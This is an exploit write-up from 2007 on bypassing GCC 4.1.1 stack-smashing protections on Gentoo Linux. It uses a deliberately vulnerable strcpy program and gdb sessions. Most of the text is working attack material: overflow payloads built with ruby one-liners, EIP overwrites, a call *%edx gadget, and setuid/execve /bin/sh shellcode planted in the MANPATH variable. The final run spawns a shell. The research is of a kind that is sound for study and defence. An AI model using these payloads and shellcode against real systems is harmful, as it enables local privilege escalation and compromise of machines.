================================================================================================= * * * Title: Buffer Overflow testing on gentoo gcc 4.1.1 * * * * Author: KaiJern, Lau @ xwings security net my * * url : http://blog.xwings.net * * Date : April / 2007 * * * ================================================================================================= Content : i. Introduction ii. Overwritting %eip ? iii. Quick fix ? iv. call %edx ** [ i. Introduction ] ** This small note will talk about how randomzie allocated stack like protection in gcc 4.1 can protect from being overflowed. My testing enviroment will base on Q2.2007 Gentoo. with gcc 4.1.1. When gcc 3.4 came out, they intoroduce some new protections into the compiler. The whole idea is to protect vuln. binary being exploite and harder to smash the stack. I mean HARDER. Again, in gcc 4.1. There are something new and also interesting. From : http://gcc.gnu.org/gcc-4.1/changes.html * GCC can now emit code for protecting applications from stack-smashing attacks. The protection is realized by buffer overflow detection and reordering of stack variables to avoid pointer corruption. * Some built-in functions have been fortified to protect them against various buffer overflow (and format string) vulnerabilities. Compared to the mudflap bounds checking feature, the safe builtins have far smaller overhead. This means that programs built using safe builtins should not experience any measurable slowdown. System Overview : OS : Linux Distro : Gentoo , Q2 2007 - Gentoo Kernel - Linux mybox 2.6.19-gentoo-r5 GCC's Version and compile option. Gentoo's emerge. $ gcc -v Using built-in specs. Target: i686-pc-linux-gnu Configured with: /var/tmp/portage/sys-devel/gcc-4.1.1-r3/work/gcc-4.1.1/configure --prefix=/usr --bindir=/usr/i686-pc-linux-gnu/gcc-bin/4.1.1 --includedir=/usr/lib/gcc/i686-pc-linux-gnu/4.1.1/include --datadir=/usr/share/gcc-data/i686-pc-linux-gnu/4.1.1 --mandir=/usr/share/gcc-data/i686-pc-linux-gnu/4.1.1/man --infodir=/usr/share/gcc-data/i686-pc-linux-gnu/4.1.1/info --with-gxx-include-dir=/usr/lib/gcc/i686-pc-linux-gnu/4.1.1/include/g++-v4 --host=i686-pc-linux-gnu --build=i686-pc-linux-gnu --disable-altivec --enable-nls --without-included-gettext --with-system-zlib --disable-checking --disable-werror --enable-secureplt --disable-libunwind-exceptions --disable-multilib --disable-libmudflap --disable-libssp --disable-libgcj --enable-languages=c,c++,fortran --enable-shared --enable-threads=posix --enable-__cxa_atexit --enable-clocale=gnu Thread model: posix gcc version 4.1.1 (Gentoo 4.1.1-r3) ** [ ii. Overwritting %eip ? ] ** The classic example (Gera's Law): [File : abo1.c ] /* abo1.c */ /* specially crafted to feed your brain by gera */ /* Dumb example to let you get introduced... */ /* edited by : xWinGs @ xWinGs . net */ #include int main(int argv,char **argc) { char buf[512]; if (argv < 2) { printf ("Error !!!\n"); exit (1); } strcpy(buf,argc[1]); printf("Input : %s\n",buf); } [ abo1.c : EOF ] Compile and run. $ gcc -o abo1 abo1.c $ gdb ./abo1 gdb>r `ruby -e 'print "A" * 200;print "B" * 50;print "C" * 50;print "D" * 50; print "E" * 50;print "F" * 50;print "G" * 25;print "H" * 25;print "I" * 12'` Failed to read a valid object file image from memory. Input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA .. [and more] Program received signal SIGSEGV, Segmentation fault. _______________________________________________________________________________ eax:00000209 ebx:B7FACFF4 ecx:BFCEB300 edx:00000000 eflags:00210282 esi:B7FE0CA0 edi:00000000 esp:BFCEB300 ebp:BFCEB408 eip:45454545 cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c [007B:BFCEB300]---------------------------------------------------------[stack] BFCEB330 : 46 46 46 46 46 46 46 46 - 46 46 46 46 46 46 46 46 FFFFFFFFFFFFFFFF BFCEB320 : 45 45 45 45 46 46 46 46 - 46 46 46 46 46 46 46 46 EEEEFFFFFFFFFFFF BFCEB310 : 45 45 45 45 45 45 45 45 - 45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE BFCEB300 : 45 45 45 45 45 45 45 45 - 45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE [007B:B7FE0CA0]---------------------------------------------------------[ data] B7FE0CA0 : 00 00 00 00 00 10 00 00 - 13 06 02 00 DB B5 CE BF ................ B7FE0CB0 : 04 00 00 00 70 46 FC B7 - 03 00 00 00 64 00 00 00 ....pF......d... [0073:45454545]---------------------------------------------------------[ code] 0x45454545: Error while running hook_stop: Cannot access memory at address 0x45454545 0x45454545 in ?? () First test, we are taking control of %eip. Total of 512 bytes will be good enought to cover the %eip. gdb>r `ruby -e 'print "A" * 200;print "B" * 50;print "C" * 50;print "D" * 50; print "E" * 50;print "F" * 50;print "G" * 25;print "H" * 25;print "I" * 12'` Failed to read a valid object file image from memory. Input : AAAAAAAAAAAAAAAAAAAAAAAAAAAA .. [and more] Program received signal SIGSEGV, Segmentation fault. _______________________________________________________________________________ eax:00000209 ebx:B7F2EFF4 ecx:BF85D700 edx:00000000 eflags:00210282 esi:B7F62CA0 edi:00000000 esp:BF85D700 ebp:BF85D778 eip:49494949 cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c [007B:BF85D700]---------------------------------------------------------[stack] BF85D730 : 00 00 00 00 A0 66 F4 B7 - 01 00 00 00 01 00 00 00 .....f.......... BF85D720 : 02 00 00 00 A4 D7 85 BF - B0 D7 85 BF B4 56 F5 B7 .............V.. BF85D710 : A0 2C F6 B7 E0 84 04 08 - 78 D7 85 BF 38 08 E2 B7 .,......x...8... BF85D700 : 49 49 49 49 00 D7 85 BF - 78 D7 85 BF 38 08 E2 B7 IIII....x...8... [007B:B7F62CA0]---------------------------------------------------------[ data] B7F62CA0 : 00 00 00 00 00 10 00 00 - 13 06 02 00 4B D9 85 BF ............K... B7F62CB0 : 04 00 00 00 70 66 F4 B7 - 03 00 00 00 64 00 00 00 ....pf......d... [0073:49494949]---------------------------------------------------------[ code] 0x49494949: Error while running hook_stop: Cannot access memory at address 0x49494949 0x49494949 in ?? () If we run this again, the %eip location seems to be changing. There is a randomized kind of protection build in to gcc. What if we put in [512] + 4. What will happend ? gdb>r `ruby -e 'print "A" * 512;print "B" * 4'` Failed to read a valid object file image from memory. Input : AAAAAAAA.......AAABBBB Program received signal SIGSEGV, Segmentation fault. _______________________________________________________________________________ eax:0000020D ebx:B7F10FF4 ecx:42424242 edx:00000000 eflags:00210282 esi:B7F44CA0 edi:00000000 esp:4242423E ebp:BF9E1F00 eip:080484C2 cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c [007B:4242423E]---------------------------------------------------------[stack] 4242426E : Error while running hook_stop: Cannot access memory at address 0x4242426a <------ Suppose to be 0x42424242 0x080484c2 in main () If the buffer more then 512, it will take in [512] + 4, the last 4 bytes with the last byte corrupted. It seems like we can overwrite the last 4 bytes. But the last 1 byte in the 4 bytes seems to be change. So , by doing some adjustment will make it goes back to normal. gdb>r `ruby -e 'print "A" * 512;print "\x16\x42\x42\x42"'` Failed to read a valid object file image from memory. Input : AAAAAAA.....AAABBB Program received signal SIGSEGV, Segmentation fault. _______________________________________________________________________________ eax:0000020D ebx:B7F0FFF4 ecx:42424216 edx:00000000 eflags:00210282 esi:B7F43CA0 edi:00000000 esp:42424212 ebp:BFA6F600 eip:080484C2 cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c [007B:42424212]---------------------------------------------------------[stack] 42424242 : Error while running hook_stop: Cannot access memory at address 0x42424242 <------ Back to 0x42424242 0x080484c2 in main () Sometimes, by putting in 512 bytes it will still not possible to overflow. gdb>r `ruby -e 'print "A" * 200;print "B" * 50;print "C" * 50;print "D" * 50; print "E" * 50;print "F" * 50;print "G" * 25;print "H" * 25;print "I" * 12'` Failed to read a valid object file image from memory. Input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAA .. [and more] Program exited with code 011. _______________________________________________________________________________ Error while running hook_stop: No registers. Thish means there is no way for us to fix the eip and trow in the ret address. Izik's method using [nop + jmp esp + nop shellcode] will not work anymore. At least at this case. ** [ iii. Quick fix ? ] ** If we follow izik's paper : * 0xffffe75b : jmp *%esp. gdb>r `ruby -e 'print "\x5b\xe7\xff\xff" * 10;print "\x41" * 76; print "\x5b\xe7\xff\xff" * 15;print "\x90" * 80;print "\x0a\xe7\xff\xff"'` Failed to read a valid object file image from memory. Program received signal SIGSEGV, Segmentation fault. _______________________________________________________________________________ eax:BFFDE654 ebx:FFFFE75B ecx:BFFDE700 edx:BFFDF2FE eflags:00210282 esi:B7F56CA0 edi:00000000 esp:BFFDE704 ebp:BFFDE7C8 eip:BFFDE701 cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c [007B:BFFDE704]---------------------------------------------------------[stack] BFFDE734 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................ BFFDE724 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................ BFFDE714 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................ BFFDE704 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................ [007B:B7F56CA0]---------------------------------------------------------[ data] B7F56CA0 : 00 00 00 00 00 10 00 00 - 13 06 02 00 AB E9 FD BF ................ B7F56CB0 : 04 00 00 00 70 A6 F3 B7 - 03 00 00 00 64 00 00 00 ....p.......d... [0073:BFFDE701]---------------------------------------------------------[ code] 0xbffde701: out 0xff,eax 0xbffde703: call DWORD PTR [eax-0x6f6f6f70] 0xbffde709: nop 0xbffde70a: nop 0xbffde70b: nop 0xbffde70c: nop ------------------------------------------------------------------------------ 0xbffde701 in ?? () gdb>x/5s $esp 0xbffde704: '\220' 0xbffde755: "çý¿Èçý¿8Há· lõ·ð\203\004\bÈçý¿8Há·\003" 0xbffde772: "" 0xbffde773: "" 0xbffde774: "ôçý¿\004èý¿´\226ô·" Or we put in shellcodes. gdb>r `ruby -e 'print "\x5c\xe7\xff\xff" * 10;print "\x41" * 76; print "\x5b\xe7\xff\xff" * 15;print "\x90" * 46; print "\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50"; print "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52"; print "\x53\x89\xe1\xb0\x0b\xcd\x80";print "\x0a\xe7\xff\xff"'` Failed to read a valid object file image from memory. Program received signal SIGSEGV, Segmentation fault. _______________________________________________________________________________ eax:BFFD9654 ebx:FFFFE75B ecx:BFFD9700 edx:BFFDB2FE eflags:00210282 esi:B7F93CA0 edi:00000000 esp:BFFD9704 ebp:BFFD97C8 eip:BFFD9701 cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c [007B:BFFD9704]---------------------------------------------------------[stack] BFFD9734 : B0 17 CD 80 B0 2E CD 80 - 31 C0 50 68 6E 2F 73 68 ........1.Phn/sh BFFD9724 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 31 DB ..............1. BFFD9714 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................ BFFD9704 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................ [007B:B7F93CA0]---------------------------------------------------------[ data] B7F93CA0 : 00 00 00 00 00 10 00 00 - 13 06 02 00 AB 99 FD BF ................ B7F93CB0 : 04 00 00 00 70 76 F7 B7 - 03 00 00 00 64 00 00 00 ....pv......d... [0073:BFFD9701]---------------------------------------------------------[ code] 0xbffd9701: out 0xff,eax 0xbffd9703: call DWORD PTR [eax-0x6f6f6f70] 0xbffd9709: nop 0xbffd970a: nop 0xbffd970b: nop 0xbffd970c: nop ------------------------------------------------------------------------------ 0xbffd9701 in ?? () gdb>x/5s $esp 0xbffd9704: '\220' , "1Û°\027Í\200°.Í\2001ÀPhn/shh//bi \211ã\231RS\211á°\vÍ\200" 0xbffd9755: "\227ý¿È\227ý¿8\030å· <ù·ð\203\004\bÈ\227ý¿8\030å·\003" 0xbffd9772: "" 0xbffd9773: "" 0xbffd9774: "ô\227ý¿\004\230ý¿´fø·" gdb>x/5s $eip 0xbffd9701: "çÿÿ", '\220' , "1Û°\027Í\200°.Í\2001ÀPhn/ shh//bi\211ã\231RS\211á°\vÍ\200" 0xbffd9755: "\227ý¿È\227ý¿8\030å· <ù·ð\203\004\bÈ\227ý¿8\030å·\003" 0xbffd9772: "" 0xbffd9773: "" 0xbffd9774: "ô\227ý¿\004\230ý¿´fø·" What can we see from here ? jmp *%esp did not really work. It copies the extra 4 bytes as the %esp header. [512] + 4 , 4 extra bytes. There is a quick and dirty way to bypass all these. This method we gonna talk about only good for local exploit. Not remote. So, this are the few things I discover during the testing process. i. jmp %esp is not possible for me. ii. [buffer] + 4 is not possible also (atm , maybe ?) Good thing about [buffer] + 4 will fix the ret address at the last 4 bytes, but our major objective is to exec() the shellcode. ** [ iv. call %edx ] ** Again, the golden example, $ cat abo1.c #include int main(int argc,char **argv) { char buf[256]; strcpy(buf,argv[1]); } Here is a quick and dirty way to by pass the protection. If the overflow happends again. gdb>r `ruby -e 'print "\x41" * 256'` Failed to read a valid object file image from memory. Program received signal SIGSEGV, Segmentation fault. _______________________________________________________________________________ eax:BFE16D34 ebx:B7EE2FF4 ecx:BFE16E00 edx:BFE17392 eflags:00210282 esi:B7F16CA0 edi:00000000 esp:BFE16E00 ebp:BFE16EA8 eip:41414141 cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c [007B:BFE16E00]---------------------------------------------------------[stack] BFE16E30 : 41 41 41 41 00 6E E1 BF - A8 6E E1 BF 38 48 DD B7 AAAA.n...n..8H.. BFE16E20 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA BFE16E10 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA BFE16E00 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA [007B:B7F16CA0]---------------------------------------------------------[ data] B7F16CA0 : 00 00 00 00 00 10 00 00 - 13 06 02 00 7B 70 E1 BF ............{p.. B7F16CB0 : 04 00 00 00 70 A6 EF B7 - 03 00 00 00 64 00 00 00 ....p.......d... [0073:41414141]---------------------------------------------------------[ code] 0x41414141: Error while running hook_stop: Cannot access memory at address 0x41414141 0x41414141 in ?? () gdb>x/s $edx 0xbfe17392: "LC_PAPER=en_US" Clearly, $edx is going back the the stack. So jmp %edx or call %edx will help in this case. To look for the right jump $ objdump -d ./abo1 | grep edx | grep call 8048369: ff d2 call *%edx There are two things need to be fufilled. i. Buffer sized need to be 256 ii. Ret address is randomized. It will be anywhere within the stack. In order to fix this part. We need to fill the stack with %edx address. gdb>r `ruby -e 'print "\x69\x83\x04\x08" * 64'` Failed to read a valid object file image from memory. Program received signal SIGSEGV, Segmentation fault. _______________________________________________________________________________ eax:BF90E78D ebx:B7F53FF5 ecx:BF90E802 edx:BF910302 eflags:00210A96 esi:B7F87C9F edi:04836B08 esp:BF90E7E7 ebp:BF90E909 eip:BF91031E cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B O d I t S z A P c [007B:BF90E7E7]---------------------------------------------------------[stack] BF90E817 : 08 69 83 04 08 69 83 04 - 08 69 83 04 08 69 83 04 .i...i...i...i.. BF90E807 : 08 69 83 04 08 69 83 04 - 08 69 83 04 08 69 83 04 .i...i...i...i.. BF90E7F7 : 94 E7 90 BF 94 E7 90 BF - 08 69 83 04 08 69 83 04 .........i...i.. BF90E7E7 : EB E7 90 BF 94 E7 90 BF - F5 3F F5 B7 02 03 91 BF .........?...... [007B:B7F87C9F]---------------------------------------------------------[ data] B7F87C9F : 00 00 00 00 00 00 10 00 - 00 13 06 02 00 DB EA 90 ................ B7F87CAF : BF 04 00 00 00 70 B6 F6 - B7 03 00 00 00 64 00 00 .....p.......d.. [0073:BF91031E]---------------------------------------------------------[ code] 0xbf91031e: ins BYTE PTR es:[edi],[dx] 0xbf91031f: outs [dx],DWORD PTR ds:[esi] 0xbf910320: arpl WORD PTR [ecx+108],sp 0xbf910323: das 0xbf910324: jae 0xbf91038e 0xbf910326: popa ------------------------------------------------------------------------------ 0xbf91031e in ?? () gdb>x/5s $edx 0xbf910302: "LC_PAPER=en_US" 0xbf910311: "MANPATH=/usr/local/share/man:/usr/share/man:/usr/share/binutilsdata /i686-pc-linux-gnu/2.16.1/man:/usr/share/gcc-data/i686-pc-linux-gnu /4.1.1/man:/usr/qt/3/doc/man:/opt/vmware/workstation/man" 0xbf9103d1: "KDE_MULTIHEAD=false" 0xbf9103e5: "LC_ADDRESS=en_US" 0xbf9103f6: "LC_MONETARY=en_US" gdb>x/5s $eip 0xbf91031e: "local/share/man:/usr/share/man:/usr/share/binutils-data/ i686-pc-linux-gnu/2.16.1/man:/usr/share/gcc-data/i686-pc-linux-gnu /4.1.1/man:/usr/qt/3/doc/man:/opt/vmware/workstation/man" 0xbf9103d1: "KDE_MULTIHEAD=false" 0xbf9103e5: "LC_ADDRESS=en_US" 0xbf9103f6: "LC_MONETARY=en_US" 0xbf910408: "MRXVT_TABTITLE=Terminal" If %eip starts at somewhere in side $MANPATH. Replacing values within $MANPATH will work ? $ export MANPATH="/usr/`ruby -e 'print "\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0 \x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`" $ gdb -q ./abo1 gdb>r `ruby -e 'print "\x69\x83\x04\x08" * 64'` Failed to read a valid object file image from memory. sh-3.1$ uname -a Linux muscat 2.6.19-gentoo-r5 #10 SMP Sat Feb 24 02:23:15 MYT 2007 i686 Genuine Intel(R) CPU Bingo !! Thanx to : rd@thc, izik@tty64, beist@beist and all the folks from hackinthebox.org ================================================================================================= * * * Title: Overflow testing on gentoo's gcc 4.1.1 * * * * Author: KaiJern, Lau @ xwings security net my * * url : http://blog.xwings.net * * Date : April / 2007 * * * * * * --- EOF --- * * * =================================================================================================